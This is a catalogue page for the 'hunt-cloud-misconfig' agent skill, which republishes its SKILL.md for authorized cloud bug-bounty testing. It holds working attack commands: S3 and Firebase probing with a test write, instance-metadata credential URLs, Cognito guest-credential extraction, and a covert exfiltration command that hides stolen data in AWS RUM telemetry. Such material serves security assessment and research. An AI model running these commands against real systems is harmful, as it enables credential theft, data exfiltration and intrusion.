Run Without You
alirezarezvani/claude-skills
Phase 4 of building a Claude Managed Agent — make it run without you.
Hunt cloud / infrastructure misconfigurations. An agent skill from sickn33/agentic-awesome-skills.
$ npx skills add sickn33/agentic-awesome-skills --skill hunt-cloud-misconfig -a claude-codeProject install by default; add -g for ~/.claude/skills/.
$ gh skill install sickn33/agentic-awesome-skills hunt-cloud-misconfig --agent claude-codeProject scope by default; add --scope user for a personal install. Needs GitHub CLI 2.90.0 or later (public preview).
$ git clone --depth 1 https://github.com/sickn33/agentic-awesome-skills.git skills-src && mkdir -p .claude/skills && cp -r skills-src/skills/hunt-cloud-misconfig .claude/skills/hunt-cloud-misconfig && rm -rf skills-srcUse ~/.claude/skills/ instead of .claude/skills for a personal install. The folder must contain SKILL.md.
Claude Code skills documentation · loads skills from .claude/skills/
Install the "hunt-cloud-misconfig" agent skill from https://github.com/sickn33/agentic-awesome-skills/tree/main/skills/hunt-cloud-misconfig into .claude/skills/hunt-cloud-misconfig/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "hunt-cloud-misconfig", then confirm the skill loads.Claude Code copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$skill-installer install https://github.com/sickn33/agentic-awesome-skills/tree/main/skills/hunt-cloud-misconfigType this inside Codex. $skill-installer <name> installs a curated skill from openai/skills. The installer writes to $CODEX_HOME/skills (default ~/.codex/skills). Restart Codex if the skill does not show up.
$ npx skills add sickn33/agentic-awesome-skills --skill hunt-cloud-misconfig -a codexProject install goes to .agents/skills/; add -g for ~/.codex/skills/.
$ gh skill install sickn33/agentic-awesome-skills hunt-cloud-misconfig --agent codexProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/sickn33/agentic-awesome-skills.git skills-src && mkdir -p .agents/skills && cp -r skills-src/skills/hunt-cloud-misconfig .agents/skills/hunt-cloud-misconfig && rm -rf skills-srcUse ~/.agents/skills/ instead of .agents/skills for a personal install.
Codex skills documentation · loads skills from .agents/skills/
Install the "hunt-cloud-misconfig" agent skill from https://github.com/sickn33/agentic-awesome-skills/tree/main/skills/hunt-cloud-misconfig into .agents/skills/hunt-cloud-misconfig/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "hunt-cloud-misconfig", then confirm the skill loads.Codex copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ npx skills add sickn33/agentic-awesome-skills --skill hunt-cloud-misconfig -a cursorProject install goes to .agents/skills/; add -g for ~/.cursor/skills/.
$ gh skill install sickn33/agentic-awesome-skills hunt-cloud-misconfig --agent cursorProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/sickn33/agentic-awesome-skills.git skills-src && mkdir -p .cursor/skills && cp -r skills-src/skills/hunt-cloud-misconfig .cursor/skills/hunt-cloud-misconfig && rm -rf skills-srcUse ~/.cursor/skills/ instead of .cursor/skills for a personal install.
Cursor skills documentation · loads skills from .cursor/skills/, .agents/skills/, .claude/skills/, .codex/skills/
Install the "hunt-cloud-misconfig" agent skill from https://github.com/sickn33/agentic-awesome-skills/tree/main/skills/hunt-cloud-misconfig into .cursor/skills/hunt-cloud-misconfig/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "hunt-cloud-misconfig", then confirm the skill loads.Cursor copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ gemini skills install https://github.com/sickn33/agentic-awesome-skills.git --path skills/hunt-cloud-misconfig--scope user (default) or --scope workspace; --path is the subfolder of the repo that holds the skill; --consent skips the security confirmation prompt.
$ npx skills add sickn33/agentic-awesome-skills --skill hunt-cloud-misconfig -a gemini-cliProject install goes to .agents/skills/; add -g for ~/.gemini/skills/.
$ gh skill install sickn33/agentic-awesome-skills hunt-cloud-misconfig --agent gemini-cliProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/sickn33/agentic-awesome-skills.git skills-src && mkdir -p .gemini/skills && cp -r skills-src/skills/hunt-cloud-misconfig .gemini/skills/hunt-cloud-misconfig && rm -rf skills-srcUse ~/.gemini/skills/ instead of .gemini/skills for a personal install, then run /skills reload.
Gemini CLI skills documentation · loads skills from .gemini/skills/, .agents/skills/
Install the "hunt-cloud-misconfig" agent skill from https://github.com/sickn33/agentic-awesome-skills/tree/main/skills/hunt-cloud-misconfig into .gemini/skills/hunt-cloud-misconfig/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "hunt-cloud-misconfig", then confirm the skill loads.Gemini CLI copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ gh skill install sickn33/agentic-awesome-skills hunt-cloud-misconfigInstalls for Copilot at project scope by default; add --scope user for a personal install. Preview a skill first with gh skill preview. Needs GitHub CLI 2.90.0 or later (public preview).
$ npx skills add sickn33/agentic-awesome-skills --skill hunt-cloud-misconfig -a github-copilotProject install goes to .agents/skills/; add -g for ~/.copilot/skills/.
$ git clone --depth 1 https://github.com/sickn33/agentic-awesome-skills.git skills-src && mkdir -p .github/skills && cp -r skills-src/skills/hunt-cloud-misconfig .github/skills/hunt-cloud-misconfig && rm -rf skills-srcUse ~/.copilot/skills/ instead of .github/skills for a personal install. Commit .github/skills so cloud agent and code review can use it.
GitHub Copilot skills documentation · loads skills from .github/skills/, .claude/skills/, .agents/skills/
Install the "hunt-cloud-misconfig" agent skill from https://github.com/sickn33/agentic-awesome-skills/tree/main/skills/hunt-cloud-misconfig into .github/skills/hunt-cloud-misconfig/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "hunt-cloud-misconfig", then confirm the skill loads.GitHub Copilot copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ npx skills add sickn33/agentic-awesome-skills --skill hunt-cloud-misconfig -a opencodeOpenCode documents no install command of its own. Project install goes to .agents/skills/; add -g for ~/.config/opencode/skills/.
$ gh skill install sickn33/agentic-awesome-skills hunt-cloud-misconfig --agent opencodeProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/sickn33/agentic-awesome-skills.git skills-src && mkdir -p .opencode/skills && cp -r skills-src/skills/hunt-cloud-misconfig .opencode/skills/hunt-cloud-misconfig && rm -rf skills-srcUse ~/.config/opencode/skills/ instead of .opencode/skills for a personal install.
OpenCode skills documentation · loads skills from .opencode/skills/, .claude/skills/, .agents/skills/
Install the "hunt-cloud-misconfig" agent skill from https://github.com/sickn33/agentic-awesome-skills/tree/main/skills/hunt-cloud-misconfig into .opencode/skills/hunt-cloud-misconfig/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "hunt-cloud-misconfig", then confirm the skill loads.OpenCode copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
hunt-cloud-misconfigHunt cloud / infrastructure misconfigurations. An agent skill from sickn33/agentic-awesome-skills.
Hunt Cloud Misconfig is an agent skill from sickn33/agentic-awesome-skills. Hunt cloud / infrastructure misconfigurations.
Its SKILL.md is about 3.6k tokens, which your agent loads only when the skill is triggered. It is a single SKILL.md file with no bundled scripts. Compatibility notes: Requires explicit written authorization for a target scope plus the relevant testing tools for this technique. Docs-only; helper scripts and commands not…
It sits in Backend & APIs, covering Event-driven systems. The repository describes itself as: AAS Core is the local, agent-first control plane for complete catalog discovery, agent-owned selection, stack validation, and planning, backed by 2,400+ agentic skills. Includes… The licence is MIT.
7 steps, taken from the first numbered list in SKILL.md.
Read from SKILL.md and the folder at commit 680176d. It shows what the files ask for, not the result of running them.
Pre-approves nothing: there is no allowed-tools line, so your agent's usual permission prompts apply.
From allowed-tools in the SKILL.md frontmatter.
Shell commands in SKILL.md call:
awscurldockerFrom the folder's file list and the shell code blocks in SKILL.md.
Hosts in commands or code, which the agent is likely to contact:
target-app.firebaseio.comdataplane.rum.us-east-1.amazonaws.comtarget-name.s3.amazonaws.comclient.rum.us-east-1.amazonaws.comAlso links to:
github.comandresriancho.comnotsosecure.comcloud.hacktricks.wikisecuritylabs.datadoghq.comFrom URLs in SKILL.md, links to its own repository left out.
Names these keys or tokens, usually read from environment variables:
AWS_ACCESS_KEY_IDAWS_SECRET_ACCESS_KEYFrom names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.
Requires explicit written authorization for a target scope plus the relevant testing tools for this technique. Docs-only; helper scripts and commands not bundled.
From compatibility in the SKILL.md frontmatter.
Hunt Cloud Misconfig loads about 3.6k tokens when it runs. Until then it costs about 17 tokens; SKILL.md has 1,152 words of instructions outside code blocks.
Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.
The automated check noted patterns worth knowing about, such as sudo or a known installer.
/phpMyAdmin /.env /config.json /api-docs /server-statusrimitive: Public S3 + leaked AWS key in `.env` → `cloud-iam-deep` enumeration → cross-service `iam:PassRole` escalation.Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); files beside SKILL.md are not scanned.
The full file from sickn33/agentic-awesome-skills at commit 680176d, republished under its MIT licence (© sickn33). 1,152 words, ~3,616 tokens.
.claude/skills/hunt-cloud-misconfig/SKILL.md (or your agent's skills folder).⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.
Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
- Ask the user to state the exact target URL, IP, account, or resource.
- Ask the user to confirm written authorization and the permitted scope.
- Show the exact command(s) and explain their expected effect.
- Wait for explicit confirmation in the current conversation.
Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
# S3 listing
curl -s "https://TARGET-NAME.s3.amazonaws.com/?max-keys=10"
aws s3 ls s3://target-bucket-name --no-sign-request
# Try common bucket names
for name in target target-backup target-assets target-prod target-staging; do
curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"
done
# Firebase open rules
curl -s "https://TARGET-APP.firebaseio.com/.json" # read
curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"' # writehttp://169.254.169.254/latest/meta-data/iam/security-credentials/ # role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME # keys/jenkins /grafana /kibana /elasticsearch /swagger-ui.html
/phpMyAdmin /.env /config.json /api-docs /server-statusAn exposed Jenkins that authenticates ANY personal Google/OAuth account (missing org-domain restriction) is full compromise: log in, then /script (Groovy console) = RCE, and /credentials + /scriptText = stored API tokens and source disclosure. Disclosed: reports/231460.
Probe RabbitMQ management (http://TARGET:15672/, API :15672/api/overview) and AMQP :5672; try default guest:guest (works off-localhost when loopback_users is misconfigured) → queue/message read, vhost enumeration, management-plugin admin. Disclosed: reports/753602.
For testing cloud-misconfig findings against a local AWS sim before/instead of hitting real cloud:
# LocalStack 3.0 community (pin the version — 4.x requires a Pro license)
docker run -d --name lab-localstack -p 14566:4566 localstack/localstack:3.0
# awscli ≥ 2.30 + LocalStack 3.0 incompatibility workaround (x-amz-trailer header):
export AWS_REQUEST_CHECKSUM_CALCULATION=when_required
export AWS_RESPONSE_CHECKSUM_VALIDATION=when_required
export AWS_ENDPOINT_URL=http://localhost:14566
export AWS_ACCESS_KEY_ID=test AWS_SECRET_ACCESS_KEY=test AWS_DEFAULT_REGION=us-east-1Without those env vars, aws s3 cp/sync fails with InvalidRequest. Document this for the team. See docs/verification/phase2j-cloud-localstack.md for the full reproducible flow.
AWS CloudWatch RUM (Real-User Monitoring) is a client-side telemetry service launched late 2021. Customers embed a JS snippet on their pages that sends performance/error events to dataplane.rum.<region>.amazonaws.com. The snippet's AppMonitor config contains an identityPoolId (Cognito) and guestRoleArn (IAM role) — both public by design. The IAM role policy is the security boundary, and when developers leave it broader than the documented minimum (rum:PutRumEvents on the AppMonitor ARN), the entire pool becomes the unauthenticated AWS-credential vending machine described in cloud-iam-deep → Cognito Identity Pool chain.
Snippet-style (most common, embedded in <head>):
(function(n,i,v,r,s,c,x,z){...})(
'cwr',
'00000000-0000-0000-0000-000000000000', // applicationId (UUID)
'1.0.0',
'us-east-1',
'https://client.rum.us-east-1.amazonaws.com/1.x/cwr.js',
{
sessionSampleRate: 1,
guestRoleArn: "arn:aws:iam::123456789012:role/RUM-Monitor-...-Unauth",
identityPoolId: "us-east-1:abcd1234-...",
endpoint: "https://dataplane.rum.us-east-1.amazonaws.com",
telemetries: ["errors","performance","http"]
}
);NPM-style (aws-rum-web package):
import { AwsRum, AwsRumConfig } from 'aws-rum-web';
const config: AwsRumConfig = { identityPoolId, endpoint, guestRoleArn, ... };
const awsRum = new AwsRum(APPLICATION_ID, '1.0.0', AWS_REGION, config);# Detect RUM init
grep -REn "cwr\(['\"]init['\"]|from\s+['\"]aws-rum-web['\"]|new\s+AwsRum\(" .
# Extract applicationId (UUID v4)
grep -ErohE "applicationId['\"]?\s*[:=]\s*['\"] ([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})['\"]" .
# Extract identityPoolId (region:UUID)
grep -ErohE "identityPoolId['\"]?\s*[:=]\s*['\"] ([a-z]{2}-[a-z]+-[0-9]+:[0-9a-f-]{36})['\"]" .
# Extract guestRoleArn (leaks AWS account ID + role name)
grep -ErohE "guestRoleArn['\"]?\s*[:=]\s*['\"]arn:aws:iam::[0-9]{12}:role/[A-Za-z0-9._/-]+['\"]" .
# Endpoint reveals region
grep -ErohE "dataplane\.rum\.[a-z0-9-]+\.amazonaws\.com" .Chain A — Credential extraction (Critical when guestRole is over-permissioned). Once identityPoolId is extracted from the page, anyone runs:
aws cognito-identity get-id \
--identity-pool-id "us-east-1:abcd1234-..." \
--region us-east-1 --no-sign-request
aws cognito-identity get-credentials-for-identity \
--identity-id "us-east-1:<returned-uuid>" \
--region us-east-1 --no-sign-request
# → STS creds; export and:
aws sts get-caller-identity # confirm role
aws s3 ls; aws dynamodb list-tables; aws lambda list-functions; aws ssm describe-parameters; aws secretsmanager list-secrets
# Automate: pacu / enumerate-iam.pyFull chain documented in cloud-iam-deep → Cognito Identity Pool unauthenticated chain. RUM is one common embedding context.
Chain B — Telemetry endpoint covert exfil. dataplane.rum.<region>.amazonaws.com is an AWS-owned domain on every enterprise allowlist. The PutRumEvents payload accepts arbitrary userDetails and customEvents string fields:
aws rum put-rum-events \
--id $(uuidgen) \
--app-monitor-details '{"id":"<appId>","version":"1.0.0"}' \
--user-details '{"userId":"EXFIL_PAYLOAD_HERE","sessionId":"<session>"}' \
--rum-events '[{"id":"'$(uuidgen)'","timestamp":'$(date +%s)',"type":"com.amazon.rum.custom_event","details":"{\"exfil\":\"<base64 of stolen data>\"}"}]' \
--endpoint-url "https://dataplane.rum.us-east-1.amazonaws.com" \
--region us-east-1Defenders watching egress see traffic to a known-good AWS hostname; DLP doesn't parse the JSON body; SIEM rules typically don't ingest customer RUM telemetry.
Chain C — DOM injection via snippet source poisoning. Many customers either self-host cwr.js on their own CDN (assets.target.com/cwr.js) or bundle aws-rum-web and serve from static.target.com/main.<hash>.js. Subdomain takeover on the JS host or supply-chain compromise (npm typosquat against aws-rum-webb) gives persistent JS execution on every page-load with the trust of the aws-rum-web SDK — including its already-granted Cognito permissions.
Chain D — Telemetry injection / dashboard poisoning. With the public identityPoolId + applicationId, an external attacker can flood PutRumEvents with fake error spikes (drown real alerts), inject XSS payloads into page-URL telemetry that fire when an SOC analyst views the CloudWatch dashboard, and inflate billable RUM event counts (financial DoS).
| Finding | Severity | Justification |
|---|---|---|
guestRoleArn with *:* or wildcards on multiple services | Critical (9.1+) | Anonymous full AWS access |
guestRoleArn with s3:*, dynamodb:*, secretsmanager:*, lambda:Invoke* on production resources | High (7.5-8.8) | Data exfil / RCE depending on resource |
guestRoleArn with cognito-identity:* or iam:PassRole | High (8.0) | Privilege escalation primitive |
guestRoleArn with only rum:PutRumEvents + endpoint-scoped resource | Informational | Documented, intended config |
RUM userDetails logging PII into events viewable in CloudWatch console | Medium (5.3-6.5) | Sensitive data exposure via dashboard sharing |
RUM AppMonitor accepts PutRumEvents from arbitrary internet sources (telemetry injection) | Low-Medium (4.3) | Dashboard poisoning, alert evasion, billing DoS |
Self-hosted cwr.js on takeoverable subdomain | Critical (9.8) when chained | Persistent stored XSS across every customer page |
No CVE assigned specifically to AWS RUM as of 2026-05. The attack class is documented in research but specific named bug-bounty payouts on RUM are rare in public hacktivity. The pattern is "Cognito identity pool over-permission via embedded SDK" — RUM is one common embedding.
cognito__enum_identity_pools — production tooling that automates Chain A. github.com/RhinoSecurityLabs/pacuaws-cognito-unauthenticated-enum — canonical playbook. cloud.hacktricks.wikiidentityPoolId from page source.get-id succeeds without auth).get-credentials-for-identity returns STS creds.aws sts get-caller-identity and screenshot the role ARN.enumerate-iam / Pacu iam__enum_permissions — capture at least one allowed action beyond rum:PutRumEvents. Without this, the finding is Informational.hunt-subdomain — Stale CNAMEs pointing to deleted buckets are a takeover gold mine. Chain primitive: Cloud misconfig (S3 public/deleted) + hunt-subdomain → unclaimed CNAME points to bucket → assets.target.com takeover.cloud-iam-deep — A leaked SA JSON / AWS key in a public bucket is only half the bug. Chain primitive: Public S3 + leaked AWS key in .env → cloud-iam-deep enumeration → cross-service iam:PassRole escalation.hunt-ssrf — Metadata service is reachable only from inside the VPC; SSRF is the bridge. Chain primitive: SSRF + cloud misconfig (IMDSv1 still enabled) → instance role keys → S3/RDS data read.supply-chain-attack-recon — Exposed CI/CD endpoints and SBOMs reveal internal package names. Chain primitive: Exposed Jenkins/GitLab + internal package name leak → npm/PyPI dependency-confusion publish → CI build pwn.security-arsenal — Load the Cloud Bucket Wordlist (target-prod / target-backup / target-staging permutations) and the Admin-Panel Path List for fast enumeration.triage-validation — Apply the Unique-Marker gate: any "writable bucket" claim requires a write of a unique marker file and a read-back from a clean session before report submission.triage-validation) before reporting; report via report-writing. Prefer a sandbox, disposable VM, or controlled lab.# Read-only first step; confirm scope before anything active.
cat scope.txt # target list from the authorized engagement briefAdapted from elementalsouls/Claude-BugHunter (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.
© sickn33, MIT. Rendered from Markdown: HTML in the file is shown as text, images as links, and headings moved down two levels. Raw file
Just SKILL.md in skills/hunt-cloud-misconfig of sickn33/agentic-awesome-skills.
Open the folder on GitHubat commit 680176d
We found 5 copies of this SKILL.md (exact, near-identical or edited) in other folders, from 1 other GitHub owner. This page covers the copy in sickn33/agentic-awesome-skills, which our catalogue first saw on October 7, 2026.
Hunt Cloud Misconfig next to the 5 skills that share the most tags, products or categories with it. Stars are the repository's; “used in” counts other GitHub owners with a copy.
| Skill | Stars | Used in | Tokens | Auto-check | Licence | Repo updated |
|---|---|---|---|---|---|---|
| Hunt Cloud Misconfig this skillsickn33/agentic-awesome-skills | 47k | 1 repos | ~3.6k | Automated safety check: Notes | MIT | |
| Run Without Youalirezarezvani/claude-skills | 28k | — | ~1.1k | Automated safety check: Pass | MIT | |
| System Designninehills/skills | 280 | — | ~4.7k | Automated safety check: Pass | MIT | |
| System Designwondelai/skills | 2.4k | — | ~4k | Automated safety check: Pass | MIT | |
| Magic MouthHmbown/Wizards-of-the-Ghosts | 109 | — | ~836 | Automated safety check: Pass | CC0-1.0 | |
| System Design Building BlocksHoangNguyen0403/agent-skills-standard | 571 | — | ~970 | Automated safety check: Pass | MIT |
alirezarezvani/claude-skills
Phase 4 of building a Claude Managed Agent — make it run without you.
ninehills/skills
Design scalable distributed systems using structured approaches for load balancing, caching, database scaling, and message queues.
wondelai/skills
Design scalable distributed systems using structured approaches for load balancing, caching, database scaling, and message queues.
Hmbown/Wizards-of-the-Ghosts
Magic Mouth is trigger → message. An agent skill from Hmbown/Wizards-of-the-Ghosts.
HoangNguyen0403/agent-skills-standard
Select infrastructure components by the constraint each removes: load balancers, caches and invalidation, queues and pub/sub, CDN, API gateway, rate limiting, consistent hashing.
fossasia/eventyay
A skill your agent uses when the user wants to provision infrastructure or third-party services using Stripe Projects.
sickn33/agentic-awesome-skills
Implements an interface in one of two named color modes, iridescent white or colorful black, from a parameterized starter that reports measured color intensity.
sickn33/agentic-awesome-skills
Saves a user's project decisions, rules and preferences into a project-local mdbase so later sessions and other agents can recover the intent.
sickn33/agentic-awesome-skills
Keeps project decisions, research and verified results available across coding-agent sessions through LWC memory, a document Wiki graph and a CodeGraph code index.
sickn33/agentic-awesome-skills
Guides an agent through assessing its own owner for cofounder fit, publishing an approved profile, and ranking complementary profiles other agents published for their owners.
sickn33/agentic-awesome-skills
Integracao com WhatsApp Business Cloud API (Meta). An agent skill from sickn33/agentic-awesome-skills.
sickn33/agentic-awesome-skills
Acts as a proxy for the Cline CLI, dispatching coding tasks one at a time, monitoring runs by hard evidence, relaying decisions to you and learning per-project preferences.
Categories
Hunt cloud / infrastructure misconfigurations. An agent skill from sickn33/agentic-awesome-skills. Hunt Cloud Misconfig is an agent skill from sickn33/agentic-awesome-skills. Hunt cloud / infrastructure misconfigurations.
Hunt Cloud Misconfig fits situations like: tasks that involve Event-driven systems.
Run `npx skills add sickn33/agentic-awesome-skills --skill hunt-cloud-misconfig -a claude-code`. Or copy the skill folder (skills/hunt-cloud-misconfig in sickn33/agentic-awesome-skills) into .claude/skills/hunt-cloud-misconfig in your project. Claude Code loads it when a task matches its description.
Run `npx skills add sickn33/agentic-awesome-skills --skill hunt-cloud-misconfig -a codex`. Or copy the skill folder (skills/hunt-cloud-misconfig in sickn33/agentic-awesome-skills) into .agents/skills/hunt-cloud-misconfig in your project. Codex loads it when a task matches its description.
Cursor, Gemini CLI, GitHub Copilot and OpenCode also load SKILL.md folders. With the skills CLI, run `npx skills add sickn33/agentic-awesome-skills --skill hunt-cloud-misconfig -a cursor` (or -a gemini-cli, github-copilot or opencode for the others). To copy it by hand, put the folder in .cursor/skills/hunt-cloud-misconfig, .gemini/skills/hunt-cloud-misconfig, .github/skills/hunt-cloud-misconfig and .opencode/skills/hunt-cloud-misconfig in your project.
Going by SKILL.md and its folder, Hunt Cloud Misconfig needs the command-line tools its instructions call (aws, curl and docker) and credentials named AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY. Our summary lists: Docker; A credential in AWS_SECRET_ACCESS_KEY. Compatibility (from SKILL.md): Requires explicit written authorization for a target scope plus the relevant testing tools for this technique. Docs-only; helper scripts and commands not bundled..
SKILL.md names 9 domains. In commands or code: target-app.firebaseio.com, dataplane.rum.us-east-1.amazonaws.com, target-name.s3.amazonaws.com and client.rum.us-east-1.amazonaws.com; the agent is likely to contact these when it follows the instructions. As links in the text: github.com, andresriancho.com, notsosecure.com, cloud.hacktricks.wiki and securitylabs.datadoghq.com. This is read from the text; nothing was executed.
Our automated static check of SKILL.md found notes only (mentions a .env file), nothing it rates as a warning. It is not a guarantee. Review the folder before installing.
Hunt Cloud Misconfig is published under the MIT licence (declared in SKILL.md). It allows redistribution, so the full SKILL.md is shown on this page.
About 3.6k tokens (SKILL.md is roughly 14k characters). Agents keep only the skill's name and description in context until a task matches; then they load SKILL.md in full.
Skills that share tags, products or a category with Hunt Cloud Misconfig: Run Without You (alirezarezvani/claude-skills, 28k stars), System Design (ninehills/skills, 280 stars), System Design (wondelai/skills, 2.4k stars) and Magic Mouth (Hmbown/Wizards-of-the-Ghosts, 109 stars). The comparison table on this page puts their stars, adoption, token cost, safety result and licence side by side.
sickn33 (a GitHub user) maintains it in sickn33/agentic-awesome-skills, which has 47,379 GitHub stars. The repository holds 1,493 skills in this directory. The repository was last updated on October 9, 2026.
Source: sickn33/agentic-awesome-skills on GitHub. Facts on this page come from the repository at the commit we read; the author's words are quoted as theirs.